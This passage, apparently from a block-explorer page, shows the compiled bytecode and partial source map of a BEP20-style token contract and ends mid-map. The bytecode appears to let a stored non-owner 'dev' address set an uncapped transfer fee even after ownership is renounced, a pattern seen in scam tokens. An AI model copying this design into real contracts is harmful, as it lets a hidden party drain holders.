103600083015261178f81846113c4565b905092915050565b600060208201905081810360008301526117b0816113fd565b9050919050565b600060208201905081810360008301526117d08161143d565b9050919050565b600060208201905081810360008301526117f0816114a3565b9050919050565b6000602082019050818103600083015261181081611509565b9050919050565b6000602082019050818103600083015261183081611549565b9050919050565b60006020820190508181036000830152611850816115af565b9050919050565b6000602082019050818103600083015261187081611615565b9050919050565b6000602082019050818103600083015261189081611655565b9050919050565b600060208201905081810360008301526118b0816116bb565b9050919050565b60006020820190506118cc6000830184611721565b92915050565b60006020820190506118e76000830184611730565b92915050565b600081519050919050565b600082825260208201905092915050565b600061191482611a5c565b915061191f83611a5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561195457611953611ad8565b5b828201905092915050565b600061196a82611a5c565b915061197583611a5c565b92508261198557611984611b07565b5b828204905092915050565b600061199b82611a5c565b91506119a683611a5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156119df576119de611ad8565b5b828202905092915050565b60006119f582611a5c565b9150611a0083611a5c565b925082821015611a1357611a12611ad8565b5b828203905092915050565b6000611a2982611a3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a91578082015181840152602081019050611a76565b83811115611aa0576000848401525b50505050565b60006002820490506001821680611abe57607f821691505b60208210811415611ad257611ad1611b36565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611b7f81611a1e565b8114611b8a57600080fd5b50565b611b9681611a5c565b8114611ba157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a26469706673582212206ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c664736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063c3d9c9d714610250578063dd62ed3e1461026c576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806315b0d4961461012257806318160ddd1461013e57806323b872dd1461015c578063313ce5671461018c575b600080fd5b6100dc61029c565b6040516100e99190611775565b60405180910390f35b61010c60048036038101906101079190611341565b61032e565b604051610119919061175a565b60405180910390f35b61013c6004803603810190610137919061137d565b61034c565b005b6101466103ed565b60405161015391906118b7565b60405180910390f35b610176600480360381019061017191906112f2565b6103f7565b604051610183919061175a565b60405180910390f35b6101946104d0565b6040516101a191906118d2565b60405180910390f35b6101c460048036038101906101bf919061128d565b6104e7565b6040516101d191906118b7565b60405180910390f35b6101e2610530565b005b6101ec610683565b6040516101f9919061173f565b60405180910390f35b61020a6106ac565b6040516102179190611775565b60405180910390f35b61023a60048036038101906102359190611341565b61073e565b604051610247919061175a565b60405180910390f35b61026a6004803603810190610265919061137d565b61075c565b005b610286600480360381019061028191906112b6565b6107fb565b60405161029391906118b7565b60405180910390f35b6060600780546102ab90611aa6565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611aa6565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600061034261033b610882565b848461088a565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661038d610882565b73ffffffffffffffffffffffffffffffffffffffff16146103e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103da90611797565b60405180910390fd5b8060058190555050565b6000600654905090565b6000610404848484610a55565b6104c584610410610882565b6104c085604051806060016040528060288152602001611ba560289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610476610882565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102f9092919063ffffffff16565b61088a565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610538610882565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bc90611857565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546106bb90611aa6565b80601f01602080910402602001604051908101604052809291908181526020018280546106e790611aa6565b80156107345780601f1061070957610100808354040283529160200191610734565b820191906000526020600020905b81548152906001019060200180831161071757829003601f168201915b5050505050905090565b600061075261074b610882565b8484610a55565b6001905092915050565b610764610882565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890611857565b60405180910390fd5b80600a8190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f190611897565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561096a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610961906117d7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a4891906118b7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abc906117b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2c90611877565b60405180910390fd5b610b3d610683565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d1e57610bdc81604051806060016040528060268152602001611bcd60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d1191906118b7565b60405180910390a361102a565b600a548110610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990611817565b60405180910390fd5b6000610d8c6064610d7e600554856110f190919063ffffffff16565b61116c90919063ffffffff16565b90506000610da382846111b690919063ffffffff16565b9050610e1183604051806060016040528060268152602001611bcd60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102f9092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea681600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5d8260016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109390919063ffffffff16565b60016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161101f91906118b7565b60405180910390a350505b505050565b6000838311158290611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e9190611775565b60405180910390fd5b506000838561108691906119ea565b9050809150509392505050565b60008082846110a29190611909565b9050838110156110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de906117f7565b60405180910390fd5b8091505092915050565b6000808314156111045760009050611166565b600082846111129190611990565b9050828482611121919061195f565b14611161576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115890611837565b60405180910390fd5b809150505b92915050565b60006111ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611200565b905092915050565b60006111f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102f565b905092915050565b60008083118290611247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123e9190611775565b60405180910390fd5b5060008385611256919061195f565b9050809150509392505050565b60008135905061127281611b76565b92915050565b60008135905061128781611b8d565b92915050565b60006020828403121561129f57600080fd5b60006112ad84828501611263565b91505092915050565b600080604083850312156112c957600080fd5b60006112d785828601611263565b92505060206112e885828601611263565b9150509250929050565b60008060006060848603121561130757600080fd5b600061131586828701611263565b935050602061132686828701611263565b925050604061133786828701611278565b9150509250925092565b6000806040838503121561135457600080fd5b600061136285828601611263565b925050602061137385828601611278565b9150509250929050565b60006020828403121561138f57600080fd5b600061139d84828501611278565b91505092915050565b6113af81611a1e565b82525050565b6113be81611a30565b82525050565b60006113cf826118ed565b6113d981856118f8565b93506113e9818560208601611a73565b6113f281611b65565b840191505092915050565b600061140a6020836118f8565b91507f45524332303a2063616e6e6f74207065726d69742064657620616464726573736000830152602082019050919050565b600061144a6025836118f8565b91507f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114b06022836118f8565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611516601b836118f8565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006115566028836118f8565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115bc6021836118f8565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116226020836118f8565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006116626023836118f8565b91507f42455032303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116c86024836118f8565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61172a81611a5c565b82525050565b61173981611a66565b82525050565b600060208201905061175460008301846113a6565b92915050565b600060208201905061176f60008301846113b5565b92915050565b6000602082019050818103600083015261178f81846113c4565b905092915050565b600060208201905081810360008301526117b0816113fd565b9050919050565b600060208201905081810360008301526117d08161143d565b9050919050565b600060208201905081810360008301526117f0816114a3565b9050919050565b6000602082019050818103600083015261181081611509565b9050919050565b6000602082019050818103600083015261183081611549565b9050919050565b60006020820190508181036000830152611850816115af565b9050919050565b6000602082019050818103600083015261187081611615565b9050919050565b6000602082019050818103600083015261189081611655565b9050919050565b600060208201905081810360008301526118b0816116bb565b9050919050565b60006020820190506118cc6000830184611721565b92915050565b60006020820190506118e76000830184611730565b92915050565b600081519050919050565b600082825260208201905092915050565b600061191482611a5c565b915061191f83611a5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561195457611953611ad8565b5b828201905092915050565b600061196a82611a5c565b915061197583611a5c565b92508261198557611984611b07565b5b828204905092915050565b600061199b82611a5c565b91506119a683611a5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156119df576119de611ad8565b5b828202905092915050565b60006119f582611a5c565b9150611a0083611a5c565b925082821015611a1357611a12611ad8565b5b828203905092915050565b6000611a2982611a3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a91578082015181840152602081019050611a76565b83811115611aa0576000848401525b50505050565b60006002820490506001821680611abe57607f821691505b60208210811415611ad257611ad1611b36565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611b7f81611a1e565b8114611b8a57600080fd5b50565b611b9681611a5c565b8114611ba157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a26469706673582212206ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c664736f6c63430008000033

Deployed Bytecode Sourcemap

15539:3956:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16328:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16760:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17306:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17591:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16929:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16514:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17694:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14992:148;;;:::i;:::-;;14431:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16419:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17821:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17485:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16609:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16328:83;16365:13;16398:5;16391:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16328:83;:::o;16760:161::-;16835:4;16852:39;16861:12;:10;:12::i;:::-;16875:7;16884:6;16852:8;:39::i;:::-;16909:4;16902:11;;16760:161;;;;:::o;17306:167::-;17388:12;;;;;;;;;;;17372:28;;:12;:10;:12::i;:::-;:28;;;17364:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;17459:6;17448:8;:17;;;;17306:167;:::o;17591:95::-;17644:7;17671;;17664:14;;17591:95;:::o;16929:313::-;17027:4;17044:36;17054:6;17062:9;17073:6;17044:9;:36::i;:::-;17091:121;17100:6;17108:12;:10;:12::i;:::-;17122:89;17160:6;17122:89;;;;;;;;;;;;;;;;;:11;:19;17134:6;17122:19;;;;;;;;;;;;;;;:33;17142:12;:10;:12::i;:::-;17122:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17091:8;:121::i;:::-;17230:4;17223:11;;16929:313;;;;;:::o;16514:83::-;16555:5;16580:9;;;;;;;;;;;16573:16;;16514:83;:::o;17694:119::-;17760:7;17787:9;:18;17797:7;17787:18;;;;;;;;;;;;;;;;17780:25;;17694:119;;;:::o;14992:148::-;14572:12;:10;:12::i;:::-;14562:22;;:6;;;;;;;;;;:22;;;14554:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15099:1:::1;15062:40;;15083:6;::::0;::::1;;;;;;;;15062:40;;;;;;;;;;;;15130:1;15113:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;14992:148::o:0;14431:79::-;14469:7;14496:6;;;;;;;;;;;14489:13;;14431:79;:::o;16419:87::-;16458:13;16491:7;16484:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16419:87;:::o;17821:167::-;17899:4;17916:42;17926:12;:10;:12::i;:::-;17940:9;17951:6;17916:9;:42::i;:::-;17976:4;17969:11;;17821:167;;;;:::o;17485:98::-;14572:12;:10;:12::i;:::-;14562:22;;:6;;;;;;;;;;:22;;;14554:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17567:8:::1;17552:12;:23;;;;17485:98:::0;:::o;16609:143::-;16690:7;16717:11;:18;16729:5;16717:18;;;;;;;;;;;;;;;:27;16736:7;16717:27;;;;;;;;;;;;;;;;16710:34;;16609:143;;;;:::o;13593:98::-;13646:7;13673:10;13666:17;;13593:98;:::o;18000:337::-;18110:1;18093:19;;:5;:19;;;;18085:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18191:1;18172:21;;:7;:21;;;;18164:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18275:6;18245:11;:18;18257:5;18245:18;;;;;;;;;;;;;;;:27;18264:7;18245:27;;;;;;;;;;;;;;;:36;;;;18313:7;18297:32;;18306:5;18297:32;;;18322:6;18297:32;;;;;;:::i;:::-;;;;;;;;18000:337;;;:::o;18351:1141::-;18467:1;18449:20;;:6;:20;;;;18441:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;18551:1;18530:23;;:9;:23;;;;18522:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;18628:7;:5;:7::i;:::-;18618:17;;:6;:17;;;18614:871;;;18672:71;18694:6;18672:71;;;;;;;;;;;;;;;;;:9;:17;18682:6;18672:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;18652:9;:17;18662:6;18652:17;;;;;;;;;;;;;;;:91;;;;18781:32;18806:6;18781:9;:20;18791:9;18781:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;18758:9;:20;18768:9;18758:20;;;;;;;;;;;;;;;:55;;;;18864:9;18847:35;;18856:6;18847:35;;;18875:6;18847:35;;;;;;:::i;:::-;;;;;;;;18614:871;;;18931:12;;18922:6;:21;18914:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;19017:17;19037:29;19062:3;19037:20;19048:8;;19037:6;:10;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;19017:49;;19081:18;19102:21;19113:9;19102:6;:10;;:21;;;;:::i;:::-;19081:42;;19168:71;19190:6;19168:71;;;;;;;;;;;;;;;;;:9;:17;19178:6;19168:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;19148:9;:17;19158:6;19148:17;;;;;;;;;;;;;;;:91;;;;19277:36;19302:10;19277:9;:20;19287:9;19277:20;;;;;;;;;;;;;;;;:24;;:36;;;;:::i;:::-;19254:9;:20;19264:9;19254:20;;;;;;;;;;;;;;;:59;;;;19358:42;19390:9;19358;:27;19368:16;;;;;;;;;;;19358:27;;;;;;;;;;;;;;;;:31;;:42;;;;:::i;:::-;19328:9;:27;19338:16;;;;;;;;;;;19328:27;;;;;;;;;;;;;;;:72;;;;19451:9;19434:39;;19443:6;19434:39;;;19462:10;19434:39;;;;;;:::i;:::-;;;;;;;;18614:871;;;18351:1141;;;:::o;9997:192::-;10083:7;10116:1;10111;:6;;10119:12;10103:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;10143:9;10159:1;10155;:5;;;;:::i;:::-;10143:17;;10180:1;10173:8;;;9997:192;;;;;:::o;9094:181::-;9152:7;9172:9;9188:1;9184;:5;;;;:::i;:::-;9172:17;;9213:1;9208;:6;;9200:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;9266:1;9259:8;;;9094:181;;;;:::o;10448:471::-;10506:7;10756:1;10751;:6;10747:47;;;10781:1;10774:8;;;;10747:47;10806:9;10822:1;10818;:5;;;;:::i;:::-;10806:17;;10851:1;10846;10842;:5;;;;:::i;:::-;:10;10834:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;10910:1;10903:8;;;10448:471;;;;;:::o;11395:132::-;11453:7;11480:39;11484:1;11487;11480:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;11473:46;;11395:132;;;;:::o;9558:136::-;9616:7;9643:43;9647:1;9650;9643:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;9636:50;;9558:136;;;;:::o;12023:278::-;12109:7;12141:1;12137;:5;12144:12;12129:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;12168:9;12184:1;12180;:5;;;;:::i;:::-;12168:17;;12292:1;12285:8;;;12023:278;;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:262::-;;2057:2;2045:9;2036:7;2032:23;2028:32;2025:2;;;2073:1;2070;2063:12;2025:2;2116:1;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2087:117;2015:196;;;;:::o;2217:118::-;2304:24;2322:5;2304:24;:::i;:::-;2299:3;2292:37;2282:53;;:::o;2341:109::-;2422:21;2437:5;2422:21;:::i;:::-;2417:3;2410:34;2400:50;;:::o;2456:364::-;;2572:39;2605:5;2572:39;:::i;:::-;2627:71;2691:6;2686:3;2627:71;:::i;:::-;2620:78;;2707:52;2752:6;2747:3;2740:4;2733:5;2729:16;2707:52;:::i;:::-;2784:29;2806:6;2784:29;:::i;:::-;2779:3;2775:39;2768:46;;2548:272;;;;;:::o;2826:330::-;;2989:67;3053:2;3048:3;2989:67;:::i;:::-;2982:74;;3086:34;3082:1;3077:3;3073:11;3066:55;3147:2;3142:3;3138:12;3131:19;;2972:184;;;:::o;3162:369::-;;3325:67;3389:2;3384:3;3325:67;:::i;:::-;3318:74;;3422:34;3418:1;3413:3;3409:11;3402:55;3488:7;3483:2;3478:3;3474:12;3467:29;3522:2;3517:3;3513:12;3506:19;;3308:223;;;:::o;3537:366::-;;3700:67;3764:2;3759:3;3700:67;:::i;:::-;3693:74;;3797:34;3793:1;3788:3;3784:11;3777:55;3863:4;3858:2;3853:3;3849:12;3842:26;3894:2;3889:3;3885:12;3878:19;;3683:220;;;:::o;3909:325::-;;4072:67;4136:2;4131:3;4072:67;:::i;:::-;4065:74;;4169:29;4165:1;4160:3;4156:11;4149:50;4225:2;4220:3;4216:12;4209:19;;4055:179;;;:::o;4240:372::-;;4403:67;4467:2;4462:3;4403:67;:::i;:::-;4396:74;;4500:34;4496:1;4491:3;4487:11;4480:55;4566:10;4561:2;4556:3;4552:12;4545:32;4603:2;4598:3;4594:12;4587:19;;4386:226;;;:::o;4618:365::-;;4781:67;4845:2;4840:3;4781:67;:::i;:::-;4774:74;;4878:34;4874:1;4869:3;4865:11;4858:55;4944:3;4939:2;4934:3;4930:12;4923:25;4974:2;4969:3;4965:12;4958:19;;4764:219;;;:::o;4989:330::-;;5152:67;5216:2;5211:3;5152:67;:::i;:::-;5145:74;;5249:34;5245:1;5240:3;5236:11;5229:55;5310:2;5305:3;5301:12;5294:19;;5135:184;;;:::o;5325:367::-;;5488:67;5552:2;5547:3;5488:67;:::i;:::-;5481:74;;5585:34;5581:1;5576:3;5572:11;5565:55;5651:5;5646:2;5641:3;5637:12;5630:27;5683:2;5678:3;5674:12;5667:19;;5471:221;;;:::o;5698:368::-;;5861:67;5925:2;5920:3;5861:67;:::i;:::-;5854:74;;5958:34;5954:1;5949:3;5945:11;5938:55;6024:6;6019:2;6014:3;6010:12;6003:28;6057:2;6052:3;6048:12;6041:19;;5844:222;;;:::o;6072:118::-;6159:24;6177:5;6159:24;:::i;:::-;6154:3;6147:37;6137:53;;:::o;6196:112::-;6279:22;6295:5;6279:22;:::i;:::-;6274:3;6267:35;6257:51;;:::o;6314:222::-;;6445:2;6434:9;6430:18;6422:26;;6458:71;6526:1;6515:9;6511:17;6502:6;6458:71;:::i;:::-;6412:124;;;;:::o;6542:210::-;;6667:2;6656:9;6652:18;6644:26;;6680:65;6742:1;6731:9;6727:17;6718:6;6680:65;:::i;:::-;6634:118;;;;:::o;6758:313::-;;6909:2;6898:9;6894:18;6886:26;;6958:9;6952:4;6948:20;6944:1;6933:9;6929:17;6922:47;6986:78;7059:4;7050:6;6986:78;:::i;:::-;6978:86;;6876:195;;;;:::o;7077:419::-;;7281:2;7270:9;7266:18;7258:26;;7330:9;7324:4;7320:20;7316:1;7305:9;7301:17;7294:47;7358:131;7484:4;7358:131;:::i;:::-;7350:139;;7248:248;;;:::o;7502:419::-;;7706:2;7695:9;7691:18;7683:26;;7755:9;7749:4;7745:20;7741:1;7730:9;7726:17;7719:47;7783:131;7909:4;7783:131;:::i;:::-;7775:139;;7673:248;;;:::o;7927:419::-;;8131:2;8120:9;8116:18;8108:26;;8180:9;8174:4;8170:20;8166:1;8155:9;8151:17;8144:47;8208:131;8334:4;8208:131;:::i;:::-;8200:139;;8098:248;;;:::o;8352:419::-;;8556:2;8545:9;8541:18;8533:26;;8605:9;8599:4;8595:20;8591:1;8580:9;8576:17;8569:47;8633:131;8759:4;8633:131;:::i;:::-;8625:139;;8523:248;;;:::o;8777:419::-;;8981:2;8970:9;8966:18;8958:26;;9030:9;9024:4;9020:20;9016:1;9005:9;9001:17;8994:47;9058:131;9184:4;9058:131;:::i;:::-;9050:139;;8948:248;;;:::o;9202:419::-;;9406:2;9395:9;9391:18;9383:26;;9455:9;9449:4;9445:20;9441:1;9430:9;9426:17;9419:47;9483:131;9609:4;9483:131;:::i;:::-;9475:139;;9373:248;;;:::o;9627:419::-;;9831:2;9820:9;9816:18;9808:26;;9880:9;9874:4;9870:20;9866:1;9855:9;9851:17;9844:47;9908:131;10034:4;9908:131;:::i;:::-;9900:139;;9798:248;;;:::o;10052:419::-;;10256:2;10245:9;10241:18;10233:26;;10305:9;10299:4;10295:20;10291:1;10280:9;10276:17;10269:47;10333:131;10459:4;10333:131;:::i;:::-;10325:139;;10223:248;;;:::o;10477:419::-;;10681:2;10670:9;10666:18;10658:26;;10730:9;10724:4;10720:20;10716:1;10705:9;10701:17;10694:47;10758:131;10884:4;10758:131;:::i;:::-;10750:139;;10648:248;;;:::o;10902:222::-;;11033:2;11022:9;11018:18;11010:26;;11046:71;11114:1;11103:9;11099:17;11090:6;11046:71;:::i;:::-;11000:124;;;;:::o;11130:214::-;;11257:2;11246:9;11242:18;11234:26;;11270:67;11334:1;11323:9;11319:17;11310:6;11270:67;:::i;:::-;11224